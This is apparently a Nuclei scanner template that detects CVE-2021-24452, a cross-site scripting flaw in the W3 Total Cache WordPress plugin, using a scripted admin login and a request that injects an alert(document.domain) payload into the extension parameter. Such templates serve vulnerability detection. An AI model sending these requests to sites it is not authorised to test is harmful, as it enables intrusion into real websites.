50 lines
2.1 KiB
YAML
50 lines
2.1 KiB
YAML
id: CVE-2021-24452
|
|
|
|
info:
|
|
name: WordPress W3 Total Cache <2.1.5 - Cross-Site Scripting
|
|
author: theamanrawat
|
|
severity: medium
|
|
description: |
|
|
WordPress W3 Total Cache plugin before 2.1.5 is susceptible to cross-site scripting via the extension parameter in the Extensions dashboard, when the setting 'Anonymously track usage to improve product quality' is enabled. The parameter is output in a JavaScript context without proper escaping. This can allow an attacker, who can convince an authenticated admin into clicking a link, to run malicious JavaScript within the user's web browser, which could lead to full site compromise.
|
|
remediation: Fixed in version 2.1.5.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/3e855e09-056f-45b5-89a9-d644b7d8c9d0
|
|
- https://wordpress.org/plugins/w3-total-cache/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24452
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-24452
|
|
cwe-id: CWE-79
|
|
epss-score: 0.001
|
|
epss-percentile: 0.40964
|
|
cpe: cpe:2.3:a:boldgrid:w3_total_cache:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: boldgrid
|
|
product: w3_total_cache
|
|
framework: wordpress
|
|
tags: cve,cve2021,xss,wpscan,wordpress,wp-plugin,wp,w3-total-cache,auth
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
- |
|
|
GET /wp-admin/admin.php?page=w3tc_extensions&extension='-alert(document.domain)-' HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- status_code_2 == 200
|
|
- contains(body_2, 'extensions/\'-alert(document.domain)-\'') && contains(body_2, 'w3-total-cache')
|
|
- contains(header_2, "text/html")
|
|
condition: and
|
|
# digest: 490a004630440220578aa79c60b4d1cc136893df0d88bb882fb01b517826d7e1cb5c394023f0579602200dd8a9cb33e7234bbb55b29340a88607e2085f96bbfa250cd68b409a16e3fa14:922c64590222798bb761d5b6d8e72950 |